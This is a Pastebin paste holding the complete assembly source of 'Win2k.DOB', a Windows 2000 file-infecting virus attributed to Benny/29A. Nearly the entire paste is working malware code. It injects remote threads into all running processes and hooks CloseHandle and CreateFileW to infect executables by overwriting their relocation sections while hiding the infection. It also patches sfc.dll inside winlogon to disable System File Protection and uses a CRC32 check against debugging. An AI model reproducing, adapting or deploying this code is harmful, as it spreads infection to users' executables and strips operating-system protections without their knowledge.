Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- COMMENT#
- ��������������������������¿
- ��������������������������Ŵ
- ��������������������������Ŵ
- ���Ŵ Win2k.DOB ���Ŵ
- ���Ŵ by Benny/29A ���Ŵ
- ��������������������������Ŵ
- ��������������������������Ŵ
- ����������������������������
- Hello dear reader,
- here is my another Win2k infector. This one is multi-process resident and featurez
- some small kind of stealth and runtime SFP disabling! The main viral code worx with
- all processes in the system and tries to inflitrate them. IF the process in
- winlogon.exe, it createz remote thread which will overwrite code that handlez System
- File Protection in Windows 2000. There's no need to restart computer, from the
- execution ALL filez protected by SFP are now unprotected! I used the same method
- which is described in article about SFC disabling in 29A-6 magazine. I have to
- mentioned that this code is coded by me and also Ratter of 29A.
- In the case the found process is not winlogon.exe it triez to create remote thread
- which will hook CloseHandle and CreateFileW APIZ there. The mentioned semi-stealth
- mechanism worx in this way - when infected program tries to open infected file with
- CreateFileW API, virus will disinfect it and pass the execution to the API and host.
- When host program tries to close file by CloseHandle API, virus will try to infect
- it by my favourite method - overwritting of relocation section. I had this semi-stealth
- mechanism (semi becoz infection via CloseHandle doesnt always work - file is not alwayz
- opened with all required access rightz so many timez the infection will fail - and for now
- I dont know how to recieve filename from HANDLE by Win2k compatible way. If anyone knows
- it, pleaz gimme know!) for long yearz in my head. Originaly I wanted to implement it
- in Win32.Vulcano, but I was so lazy... I decided to code it now, well I know its a bit
- later, but better later than never :)
- Virus also chex its own integrity on the start (by CRC32) so in the case someone set
- some breakpointz in the viral code, virus will not run.
- I didnt test Win2k.DOB very deeply, so it is possible that it has some bugz. However,
- again I didnt code it for spreading, but to show some new ideaz. I hope you will like
- this virus...
- (c)oded in September, 2001
- Czech Republic.
- #
- .386p
- .model flat
- include win32api.inc
- include useful.inc
- include mz.inc
- include pe.inc
- invoke macro api ;macro for API callz
- extrn api:PROC ;declare API
- call api ;call it...
- endm
- @SEH_SetupFrame_UnProtect macro
- local set_new_eh
- local exception_handler
- local @n
- call set_new_eh
- pushad
- mov ebx,dword ptr [esp+cPushad+EH_ExceptionRecord]
- cmp dword ptr [ebx.ER_ExceptionCode],EXCEPTION_ACCESS_VIOLATION
- jne exception_handler
- call @n
- dd ?
- @n: mov ebx,[ebx.ER_ExceptionInformation+4]
- push PAGE_READWRITE
- and ebx,0FFFFF000h
- push 2*4096
- push ebx
- mov eax,12345678h
- _VirtualProtect = dword ptr $-4
- call eax ;unprotect 2 pagez
- exception_handler:
- popad
- xor eax,eax
- ret
- set_new_eh: ;set SEH frame
- xor edx,edx
- push dword ptr fs:[edx]
- mov fs:[edx],esp
- endm
- .data
- ;this is the remote thread that getz executed in infected process
- rtStart Proc
- pushad
- tdelta = $+5
- @SEH_SetupFrame <jmp end_thread>
- mov ebp,[esp+4] ;EBP = delta offset
- ;hook 2 APIz - CloseHandle and CreateFileW
- mov esi,12345678h
- _CloseHandle = dword ptr $-4
- cmp [esi],64EC8B55h ;check CloseHandle API...
- jne try_cfw
- cmp dword ptr [esi+4],000018A1h ;...code
- jne try_cfw
- mov eax,esi
- neg esi
- add esi,newCloseHandle-rtStart-5
- add esi,12345678h
- virus_base = dword ptr $-4
- mov byte ptr [eax],0E9h ;create "JMP <virus>"
- mov [eax+1],esi
- mov [eax+5],90909090h ;fill with NOPs
- add eax,9
- mov [ebp + nextCH - tdelta],eax ;save the address
- ;and do the same for CreateFileW API
- try_cfw:mov esi,12345678h
- _CreateFileW = dword ptr $-4
- cmp [esi],83EC8B55h
- jne end_thread
- cmp word ptr [esi+4],5CECh
- jne end_thread
- mov eax,esi
- neg esi
- add esi,newCreateFileW-rtStart-5
- add esi,[ebp + virus_base - tdelta]
- mov byte ptr [eax],0E9h
- mov [eax+1],esi
- mov byte ptr [eax+5],90h
- add eax,6
- mov [ebp + nextCFW - tdelta],eax
- end_thread:
- @SEH_RemoveFrame
- popad
- ret
- ;hooker for CreateFileW - disinfectz opened file from virus
- newCreateFileW:
- pushad
- call @oldCFW
- cdelta = $
- bytez_CreateFileW:
- push ebp ;overwritten code
- mov ebp,esp
- sub esp,5Ch
- push 12345678h ;return address
- nextCFW = dword ptr $-4
- ret
- @oldCFW:pop ebp ;EBP = delta offset
- mov ecx,12345678h
- semaphore = dword ptr $-4
- jecxz c_cfw
- xor eax,eax
- and [ebp + semaphore - cdelta],eax
- call disinfect ;try to disinfect the file
- mov [ebp + semaphore - cdelta],ebp
- c_cfw: popad
- jmp bytez_CreateFileW ;and run the previous code
- ;hooker for CloseHandle - infectz file which's getting closed
- newCloseHandle:
- pushad
- call @oldCH
- hdelta = $
- bytez_CloseHandle:
- push ebp ;overwritten code
- mov ebp,esp
- mov eax,LARGE fs:[18h]
- push 12345678h ;return address
- nextCH = dword ptr $-4
- ret
- @oldCH: pop ebp ;EBP = delta offset
- mov ecx,[ebp + semaphore - hdelta]
- jecxz c_ch
- and dword ptr [ebp + semaphore - hdelta],0
- call tryInfect ;try to infect
- mov [ebp + semaphore - hdelta],ebp
- c_ch: popad
- jmp bytez_CloseHandle ;and run the previous code
- tryInfect:
- mov ebx,[esp.cPushad+8] ;get the handle
- push ebx
- mov eax,12345678h
- _GetFileType = dword ptr $-4
- call eax
- dec eax
- je c_ti ;must be FILE_TYPE_DISK
- end_ti: ret
- c_ti: push eax
- push eax
- push eax
- push PAGE_READWRITE
- push eax
- push ebx
- mov eax,12345678h
- _CreateFileMappingA = dword ptr $-4
- call eax ;map the file
- cdq
- xchg eax,ecx
- jecxz end_ti
- mov [ebp + hFile - hdelta],ecx
- push edx
- push edx
- push edx
- push FILE_MAP_WRITE
- push ecx
- mov eax,12345678h
- _MapViewOfFile = dword ptr $-4
- call eax ;--- " " ---
- test eax,eax
- je close_file
- xchg eax,ebx
- mov [ebp + lpFile - hdelta],ebx
- jmp n_open
- unmap_file:
- push 12345678h
- lpFile = dword ptr $-4
- mov eax,12345678h
- _UnmapViewOfFile = dword ptr $-4
- call eax ;unmap the file
- close_file:
- push 12345678h
- hFile = dword ptr $-4
- call [ebp + _CloseHandle - hdelta] ;--- " " ---
- ret
- n_open: mov esi,[ebx.MZ_lfanew]
- add esi,ebx
- mov eax,[esi]
- add eax,-IMAGE_NT_SIGNATURE
- jne unmap_file ;must be PE file
- ;discard not_executable and system filez
- cmp word ptr [esi.NT_FileHeader.FH_Machine],IMAGE_FILE_MACHINE_I386
- jne unmap_file
- mov ax,[esi.NT_FileHeader.FH_Characteristics]
- test ax,IMAGE_FILE_EXECUTABLE_IMAGE
- je unmap_file
- test ax,IMAGE_FILE_DLL
- jne unmap_file
- test ax,IMAGE_FILE_SYSTEM
- jne unmap_file
- mov al,byte ptr [esi.NT_FileHeader.OH_Subsystem]
- test al,IMAGE_SUBSYSTEM_NATIVE
- jne unmap_file
- movzx eax,word ptr [esi.NT_FileHeader.FH_NumberOfSections]
- dec eax
- test eax,eax
- je unmap_file
- imul eax,eax,IMAGE_SIZEOF_SECTION_HEADER
- movzx edx,word ptr [esi.NT_FileHeader.FH_SizeOfOptionalHeader]
- lea edi,[eax+edx+IMAGE_SIZEOF_FILE_HEADER+4]
- add edi,esi
- lea edx,[esi.NT_OptionalHeader.OH_DataDirectory.DE_BaseReloc.DD_VirtualAddress]
- mov eax,[edx]
- test eax,eax
- je unmap_file
- cmp eax,[edi.SH_VirtualAddress]
- jne unmap_file
- cmp [edi.SH_SizeOfRawData],virtual_end-rtStart
- jb unmap_file ;is it large enough?
- pushad
- xor eax,eax
- mov edi,edx
- stosd
- stosd
- popad ;erase relocs record
- ;align the section size
- mov eax,virtual_end-rtStart
- cmp eax,[edi.SH_VirtualSize]
- jb o_vs
- mov ecx,[esi.NT_OptionalHeader.OH_SectionAlignment]
- cdq
- div ecx
- test edx,edx
- je o_al
- inc eax
- o_al: mul ecx
- mov [edi.SH_VirtualSize],eax
- o_vs: push dword ptr [ebp + original_ep - hdelta]
- mov eax,[esi.NT_OptionalHeader.OH_AddressOfEntryPoint]
- mov ecx,[edi.SH_VirtualAddress]
- add ecx,Start-rtStart
- mov [esi.NT_OptionalHeader.OH_AddressOfEntryPoint],ecx
- mov [ebp + original_ep - hdelta],eax
- mov eax,[esi.NT_OptionalHeader.OH_ImageBase]
- add [ebp + original_ep - hdelta],eax
- ;set saved_entrypoint variable
- pushad
- mov edi,[edi.SH_PointerToRawData]
- add edi,ebx
- lea esi,[ebp + rtStart - hdelta]
- mov ecx,(virtual_end-rtStart+3)/4
- rep movsd ;overwrite relocs by virus body
- popad
- pop dword ptr [ebp + original_ep - hdelta]
- ;restore used variablez
- or dword ptr [edi.SH_Characteristics],IMAGE_SCN_MEM_WRITE
- jmp unmap_file
- disinfect:
- push eax
- push FILE_ATTRIBUTE_NORMAL
- push OPEN_EXISTING
- push eax
- push FILE_SHARE_READ
- push GENERIC_READ or GENERIC_WRITE
- push dword ptr [esp.cPushad+32]
- call [ebp + _CreateFileW - cdelta] ;open the file
- inc eax
- jne c_di
- ret
- c_di: dec eax
- mov [ebp + cFile - cdelta],eax
- cdq
- xor edx,edx
- push edx
- push edx
- push edx
- push PAGE_READWRITE
- push edx
- push eax
- call [ebp + _CreateFileMappingA - cdelta] ;create file mapping
- cdq
- xchg eax,ecx
- jecxz c_close_file
- mov [ebp + cMapFile - cdelta],ecx
- push edx
- push edx
- push edx
- push FILE_MAP_WRITE
- push ecx
- call [ebp + _MapViewOfFile - cdelta] ;map to address space
- test eax,eax
- je c_close_file2
- xchg eax,ebx
- mov [ebp + clpFile - cdelta],ebx
- jmp n_copen
- c_unmap_file:
- push 12345678h
- clpFile = dword ptr $-4
- call [ebp + _UnmapViewOfFile - cdelta] ;unmap file
- c_close_file2:
- push 12345678h
- cMapFile = dword ptr $-4
- call [ebp + _CloseHandle - cdelta] ;close file mapping
- c_close_file:
- push 12345678h
- cFile = dword ptr $-4
- call [ebp + _CloseHandle - cdelta] ;and the file itself
- ret
- n_copen:mov esi,[ebx.MZ_lfanew]
- add esi,ebx
- mov eax,[esi]
- add eax,-IMAGE_NT_SIGNATURE
- jne c_unmap_file ;must be PE file
- movzx eax,word ptr [esi.NT_FileHeader.FH_NumberOfSections]
- dec eax
- test eax,eax
- je unmap_file
- imul eax,eax,IMAGE_SIZEOF_SECTION_HEADER
- movzx edx,word ptr [esi.NT_FileHeader.FH_SizeOfOptionalHeader]
- lea edi,[eax+edx+IMAGE_SIZEOF_FILE_HEADER+4]
- add edi,esi
- cmp [edi],'ler.'
- jne c_unmap_file
- cmp dword ptr [edi+4],'co'
- jne c_unmap_file ;must be ".reloc"
- lea edx,[esi.NT_OptionalHeader.OH_DataDirectory.DE_BaseReloc.DD_VirtualAddress]
- xor ecx,ecx
- cmp [edx],ecx
- jne c_unmap_file ;must be NULL
- mov eax,[edi.SH_VirtualAddress]
- mov [edx],eax ;restore the address field
- mov eax,[edi.SH_VirtualSize]
- mov [edx+4],eax ;and the size field
- xchg eax,ecx
- mov ecx,[edi.SH_SizeOfRawData]
- mov edi,[edi.SH_PointerToRawData]
- add edi,ebx
- pushad
- push esi
- mov esi,edi
- lea edi,[ebp + end_seh - cdelta]
- mov ecx,original_ep-end_seh
- l_ep: pushad
- rep cmpsb
- popad
- je got_ep
- inc esi
- jmp l_ep
- got_ep: add esi,original_ep-end_seh ;find the saved entrypoint in virus body
- lodsd
- pop esi
- sub eax,[esi.NT_OptionalHeader.OH_ImageBase]
- mov [esi.NT_OptionalHeader.OH_AddressOfEntryPoint],eax
- popad ;restore it
- rep stosb ;and overwrite body with NULLs
- jmp c_unmap_file
- rtStart EndP
- signature db 0,'[Win2k.DOB], multi-process stealth project by Benny/29A',0
- ;little signature ;-)
- ; !!! VIRAL CODE STARTS HERE !!!
- Start: pushad
- gdelta = $+5
- @SEH_SetupFrame <jmp end_seh> ;setup SEH frame
- call check_crc32 ;check viral body consistency
- protected:
- mov ebp,[esp+4] ;EBP = delta offset
- mov edx,cs
- xor dl,dl
- jne end_seh ;must be under winNT/2k!
- call get_base ;get K32 base address
- call get_apiz ;find addresses of APIz
- call advapi_apiz ;get ADVAPI32 apiz
- call psapi_apiz ;get PSAPI apiz
- mov eax,12345678h
- _GetCurrentProcess = dword ptr $-4
- call eax ;get current process pseudohandle
- lea ecx,[ebp + p_token - gdelta]
- push ecx
- push 20h
- push eax
- mov eax,12345678h
- _OpenProcessToken = dword ptr $-4 ;open token of our process
- call eax
- dec eax
- jne err_ap
- lea ecx,[ebp + p_luid - gdelta]
- push ecx
- @pushsz 'SeDebugPrivilege'
- push eax
- mov eax,12345678h
- _LookupPrivilegeValueA = dword ptr $-4 ;find LUID for this priv.
- call eax
- dec eax
- jne err_ap
- lea ecx,[ebp + token_priv - gdelta]
- push eax
- push eax
- push 10h
- push ecx
- push eax
- push dword ptr [ebp + p_token - gdelta]
- mov eax,12345678h
- _AdjustTokenPrivileges = dword ptr $-4
- call eax ;adjust higher priviledges
- ;for our process ;-)
- err_ap: lea esi,[ebp + procz - gdelta]
- lea eax,[ebp + tmp - gdelta]
- push eax
- push 80h
- push esi
- mov eax,12345678h
- _EnumProcesses = dword ptr $-4
- call eax ;enumerate all running processes
- dec eax
- jne end_seh
- add esi,4
- p_search:
- lodsd ;get PID
- test eax,eax
- je end_ps
- call analyse_process ;and try to infect it
- jmp p_search
- end_ps: push 12345678h
- _advapi32 = dword ptr $-4
- mov esi,12345678h
- _FreeLibrary = dword ptr $-4
- call esi
- push 12345678h
- _psapi = dword ptr $-4
- call esi ;free ADVAPI32 and PSAPI libz
- end_seh:@SEH_RemoveFrame ;remove SEH frame
- popad
- extrn ExitProcess:PROC
- push cs
- push offset ExitProcess
- original_ep = dword ptr $-4
- retf ;jump to host!
- analyse_process Proc
- pushad
- push eax
- push 0
- push 43Ah
- mov eax,12345678h
- _OpenProcess = dword ptr $-4
- call eax ;PID -> handle
- test eax,eax
- je end_ap
- mov [ebp + hProcess - gdelta],eax
- push eax
- push eax
- lea esi,[ebp + modz - gdelta]
- lea ecx,[ebp + tmp - gdelta]
- push ecx
- push 4
- push esi
- push eax
- mov eax,12345678h
- _EnumProcessModules = dword ptr $-4
- call eax ;get first (main) module
- pop ecx
- dec eax
- jne end_ap1
- lodsd
- lea edi,[ebp + mod_name - gdelta]
- push MAX_PATH
- push edi
- push eax
- push ecx
- mov eax,12345678h
- _GetModuleBaseNameA = dword ptr $-4
- call eax ;get its name
- xchg eax,ecx
- test ecx,ecx
- je end_ap1
- @pushsz 'winlogon.exe'
- pop esi
- mov ebx,edi
- pushad
- rep cmpsb
- popad
- je r_winlogon ;is it winlogon?
- ;nope, try to infect the process
- lea esi,[ebp + rtStart - gdelta]
- mov edi,virtual_end-rtStart
- call r_create_thread
- jmp end_ap1
- r_winlogon:
- ;yeah, disable SFP!
- lea esi,[ebp + winlogon_start_rroutine - gdelta]
- mov edi,winlogon_end_rroutine-winlogon_start_rroutine
- call r_create_thread
- end_ap1:call [ebp + _CloseHandle - gdelta]
- end_ap: popad
- ret
- analyse_process EndP
- ;this proc createz remote thread
- r_create_thread Proc
- push PAGE_READWRITE
- push MEM_RESERVE or MEM_COMMIT
- push edi
- push 0
- push 12345678h
- hProcess = dword ptr $-4
- mov eax,12345678h
- _VirtualAllocEx = dword ptr $-4
- call eax ;aloc there a memory
- test eax,eax
- je err_rcr
- xchg eax,ebx
- mov [ebp + virus_base - gdelta],ebx
- push 0
- push edi
- push esi
- push ebx
- push dword ptr [ebp + hProcess - gdelta]
- mov eax,12345678h
- _WriteProcessMemory = dword ptr $-4
- call eax ;write there our code
- dec eax
- jne free_mem
- lea ecx,[ebp + tmp - gdelta]
- push ecx
- push PAGE_READWRITE
- push 1
- push dword ptr [ebp + _CloseHandle - gdelta]
- push dword ptr [ebp + hProcess - gdelta]
- mov eax,12345678h
- _VirtualProtectEx = dword ptr $-4
- call eax ;unprotect first CloseHandle API page
- dec eax
- jne free_mem
- lea ecx,[ebp + tmp - gdelta]
- push ecx
- push PAGE_READWRITE
- push 1
- push dword ptr [ebp + _CreateFileW - gdelta]
- push dword ptr [ebp + hProcess - gdelta]
- call [ebp + _VirtualProtectEx - gdelta] ;unprotect first CreateFileW API page
- dec eax
- jne free_mem
- xor edx,edx
- push edx
- push edx
- push edx
- push ebx
- push edx
- push edx
- push dword ptr [ebp + hProcess - gdelta]
- mov eax,12345678h
- _CreateRemoteThread = dword ptr $-4
- call eax ;run remote thread!
- push eax
- call [ebp + _CloseHandle - gdelta]
- err_rcr:ret
- free_mem:
- push MEM_RELEASE
- push 0
- push ebx
- push dword ptr [ebp + hProcess - gdelta]
- mov eax,12345678h
- _VirtualFreeEx = dword ptr $-4
- call eax ;free memory
- ret
- r_create_thread EndP
- winlogon_start_rroutine Proc
- pushad
- @SEH_SetupFrame_UnProtect ;set SEH frame
- @pushsz 'sfc.dll'
- mov eax,12345678h
- _GetModuleHandleA = dword ptr $-4
- call eax ;get sfc.dll address
- test eax,eax
- je end_rseh
- xchg eax,esi
- mov eax,[esi.MZ_lfanew]
- add eax,esi
- movzx edx,word ptr [eax.NT_FileHeader.FH_SizeOfOptionalHeader]
- lea edx,[edx+eax+(3*IMAGE_SIZEOF_FILE_HEADER)]
- mov ecx,[edx.SH_SizeOfRawData] ;get size of section
- call @s_str
- @b_str: db 0FFh,15h,8Ch,12h,93h,76h ;code to search & patch
- db 85h,0C0h
- db 0Fh,8Ch,0F1h,00h,00h,00h
- db 0Fh,84h,0EBh,00h,00h,00h
- db 3Dh,02h,01h,00h,00h
- @s_str: pop edi
- s_str: pushad
- push @s_str-@b_str
- pop ecx
- rep cmpsb ;search for code
- popad
- je got_addr
- inc esi
- loop s_str
- jmp end_rseh
- got_addr:
- call e_next
- s_next: push 0 ;"patch" code
- mov eax,12345678h
- _ExitThread = dword ptr $-4
- call eax
- e_next: pop edi
- xchg esi,edi
- add edi,6
- mov ecx,e_next-s_next
- rep movsb ;patch sfc.dll code by our code
- end_rseh:
- @SEH_RemoveFrame
- popad
- ret ;and quit
- winlogon_end_rroutine:
- winlogon_start_rroutine EndP
- ;this procedure can retrieve base address of K32
- get_base Proc
- mov eax,077E80000h ;get lastly used address
- last_kern = dword ptr $-4
- call check_kern ;is this address valid?
- jecxz end_gb ;yeah, we got the address
- call gb_table ;jump over the address table
- dd 077E00000h ;NT/W2k
- dd 077E80000h ;NT/W2k
- dd 077ED0000h ;NT/W2k
- dd 077F00000h ;NT/W2k
- dd 0BFF70000h ;95/98
- gb_table:
- pop edi ;get pointer to address table
- push 4 ;get number of items in the table
- pop esi ;to ESI
- gbloop: mov eax,[edi+esi*4] ;get item
- call check_kern ;is address valid?
- jecxz end_gb ;yeah, we got the valid address
- dec esi ;decrement ESI
- test esi,esi ;end of table?
- jne gbloop ;nope, try next item
- call scan_kern ;scan the address space for K32
- end_gb: ret ;quit
- check_kern: ;check if K32 address is valid
- mov ecx,eax ;make ECX != 0
- pushad ;store all registers
- @SEH_SetupFrame <jmp end_ck> ;setup SEH frame
- movzx edx,word ptr [eax] ;get two bytes
- add edx,-"ZM" ;is it MZ header?
- jne end_ck ;nope
- mov ebx,[eax.MZ_lfanew] ;get pointer to PE header
- add ebx,eax ;normalize it
- mov ebx,[ebx] ;get four bytes
- add ebx,-"EP" ;is it PE header?
- jne end_ck ;nope
- xor ecx,ecx ;we got K32 base address
- mov [ebp + last_kern - gdelta],eax ;save K32 base address
- end_ck: @SEH_RemoveFrame ;remove SEH frame
- mov [esp.Pushad_ecx],ecx ;save ECX
- popad ;restore all registers
- ret ;if ECX == 0, address was found
- SEH_hndlr macro ;macro for SEH
- @SEH_RemoveFrame ;remove SEH frame
- popad ;restore all registers
- add dword ptr [ebp + bAddr - gdelta],1000h ;explore next page
- jmp bck ;continue execution
- endm
- scan_kern: ;scan address space for K32
- bck: pushad ;store all registers
- @SEH_SetupFrame <SEH_hndlr> ;setup SEH frame
- mov eax,077000000h ;starting/last address
- bAddr = dword ptr $-4
- movzx edx,word ptr [eax] ;get two bytes
- add edx,-"ZM" ;is it MZ header?
- jne pg_flt ;nope
- mov edi,[eax.MZ_lfanew] ;get pointer to PE header
- add edi,eax ;normalize it
- mov ebx,[edi] ;get four bytes
- add ebx,-"EP" ;is it PE header?
- jne pg_flt ;nope
- mov ebx,eax
- mov esi,eax
- add ebx,[edi.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress]
- add esi,[ebx.ED_Name]
- mov esi,[esi]
- add esi,-'NREK'
- je end_sk
- pg_flt: xor ecx,ecx ;we got K32 base address
- mov [ecx],esi ;generate PAGE FAULT! search again...
- end_sk: mov [ebp + last_kern - gdelta],eax ;save K32 base address
- @SEH_RemoveFrame ;remove SEH frame
- mov [esp.Pushad_eax],eax ;save EAX - K32 base
- popad ;restore all registers
- ret
- get_base EndP
- get_apiz Proc
- mov esi,eax ;base of K32
- mov edx,[esi.MZ_lfanew]
- add edx,esi
- mov ebx,[edx.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress]
- add ebx,esi
- mov ecx,[ebx.ED_NumberOfNames]
- mov edx,[ebx.ED_AddressOfNames]
- add edx,esi
- xor eax,eax
- c_find: pushad
- add esi,[edx+eax*4]
- push esi
- @endsz
- mov edi,esi
- pop esi
- sub edi,esi
- call CRC32 ;calculate CRC32 of the API
- push n_apiz ;number of apiz
- pop ecx
- call @callz
- s_apiz: dd 082B618D4h ;GetModuleHandleA
- dd 04134D1ADh ;LoadLibraryA
- dd 0AFDF191Fh ;FreeLibrary
- dd 0FFC97C1Fh ;GetProcAddress
- dd 079C3D4BBh ;VirtualProtect
- dd 0058F9201h ;ExitThread
- dd 003690E66h ;GetCurrentProcess
- dd 033D350C4h ;OpenProcess
- dd 0DA89FC22h ;VirtualAllocEx
- dd 00E9BBAD5h ;WriteProcessMemory
- dd 0CF4A7F65h ;CreateRemoteThread
- dd 0700ED6DFh ;VirtualFreeEx
- dd 068624A9Dh ;CloseHandle
- dd 056E1B657h ;VirtualProtectEx
- dd 000D38F42h ;GetFileType
- dd 096B2D96Ch ;CreateFileMappingA
- dd 0797B49ECh ;MapViewOfFile
- dd 094524B42h ;UnmapViewOfFile
- dd 090119808h ;CreateFileW
- n_apiz = ($-s_apiz)/4
- @callz: pop edx
- c_look: cmp [edx-4+(ecx*4)],eax ;is it our API?
- je got_call ;yeah
- loop c_look ;nope, look for another API in our table
- c_out: popad
- inc eax
- loop c_find
- ret
- got_call:
- mov edx,[ebx.ED_AddressOfOrdinals]
- mov esi,[esp.Pushad_esi]
- add edx,esi
- mov eax,[esp.Pushad_eax]
- movzx eax,word ptr [edx+eax*2]
- mov edx,esi
- add edx,[ebx.ED_AddressOfFunctions]
- mov eax,[edx+eax*4]
- add eax,esi
- lea edx,[ebp + Start - gdelta]
- add edx,[ebp + api_addr-4+ecx*4 - gdelta]
- mov [edx],eax ;save it
- jmp c_out
- get_apiz EndP
- api_addr: ;where to save apiz numberz...
- dd offset _GetModuleHandleA-Start
- dd offset _LoadLibraryA-Start
- dd offset _FreeLibrary-Start
- dd offset _GetProcAddress-Start
- dd offset _VirtualProtect-Start
- dd offset _ExitThread-Start
- dd offset _GetCurrentProcess-Start
- dd offset _OpenProcess-Start
- dd offset _VirtualAllocEx-Start
- dd offset _WriteProcessMemory-Start
- dd offset _CreateRemoteThread-Start
- dd offset _VirtualFreeEx-Start
- dd offset _CloseHandle-Start
- dd offset _VirtualProtectEx-Start
- dd offset _GetFileType-Start
- dd offset _CreateFileMappingA-Start
- dd offset _MapViewOfFile-Start
- dd offset _UnmapViewOfFile-Start
- dd offset _CreateFileW-Start
- CRC32: push ecx ;procedure for calculating CRC32s
- push edx ;at run-time
- push ebx
- xor ecx,ecx
- dec ecx
- mov edx,ecx
- NextByteCRC:
- xor eax,eax
- xor ebx,ebx
- lodsb
- xor al,cl
- mov cl,ch
- mov ch,dl
- mov dl,dh
- mov dh,8
- NextBitCRC:
- shr bx,1
- rcr ax,1
- jnc NoCRC
- xor ax,08320h
- xor bx,0EDB8h
- NoCRC: dec dh
- jnz NextBitCRC
- xor ecx,eax
- xor edx,ebx
- dec edi
- jne NextByteCRC
- not edx
- not ecx
- pop ebx
- mov eax,edx
- rol eax,16
- mov ax,cx
- pop edx
- pop ecx
- ret
- ;get addressez of ADVAPI32 APIz
- advapi_apiz Proc
- @pushsz 'ADVAPI32'
- mov eax,12345678h
- _LoadLibraryA = dword ptr $-4
- call eax ;load ADVAPI32
- xchg eax,ebx
- mov [ebp + _advapi32 - gdelta],ebx
- @pushsz 'OpenProcessToken'
- push ebx
- mov esi,12345678h
- _GetProcAddress = dword ptr $-4
- call esi
- mov [ebp + _OpenProcessToken - gdelta],eax
- ;save API address
- @pushsz 'LookupPrivilegeValueA'
- push ebx
- call esi
- mov [ebp + _LookupPrivilegeValueA - gdelta],eax
- ;--- " " ---
- @pushsz 'AdjustTokenPrivileges'
- push ebx
- call esi
- mov [ebp + _AdjustTokenPrivileges - gdelta],eax
- ;--- " " ---
- ret
- advapi_apiz EndP
- ;get addressez of PSAPI APIz
- psapi_apiz Proc
- @pushsz 'PSAPI'
- call [ebp + _LoadLibraryA - gdelta] ;load PSAPI
- xchg eax,ebx
- mov [ebp + _psapi - gdelta],ebx
- @pushsz 'EnumProcesses'
- push ebx
- call esi
- mov [ebp + _EnumProcesses - gdelta],eax
- ;save API address
- @pushsz 'EnumProcessModules'
- push ebx
- call esi
- mov [ebp + _EnumProcessModules - gdelta],eax
- ;--- " " ---
- @pushsz 'GetModuleBaseNameA'
- push ebx
- call esi
- mov [ebp + _GetModuleBaseNameA - gdelta],eax
- ;--- " " ---
- @pushsz 'EnumProcesses'
- push ebx
- call esi
- mov [ebp + _EnumProcesses - gdelta],eax
- ;--- " " ---
- ret
- psapi_apiz EndP
- token_priv dd 1
- p_luid dq ?
- dd 2
- procz dd 80h dup (?)
- dd ?
- modz dd ?
- mod_name db MAX_PATH dup (?)
- p_token dd ?
- tmp dd ?
- check_crc32:
- pop esi
- mov edi,check_crc32-protected
- call CRC32 ;calculate CRC32 for viral body
- cmp eax,0D620301Eh
- jne end_seh ;quit if does not match
- jmp protected
- virtual_end:
- .code ;first generation code
- FirstGeneration:
- jmp Start
- ;virtual size of virus
- db 0dh,0ah,'Virus size in memory: '
- db '0'+((virtual_end-rtStart)/1000) mod 10
- db '0'+((virtual_end-rtStart)/100) mod 10
- db '0'+((virtual_end-rtStart)/10) mod 10
- db '0'+((virtual_end-rtStart)/1) mod 10
- db 0dh,0ah
- ends
- End FirstGeneration
Add Comment
Please, Sign In to add comment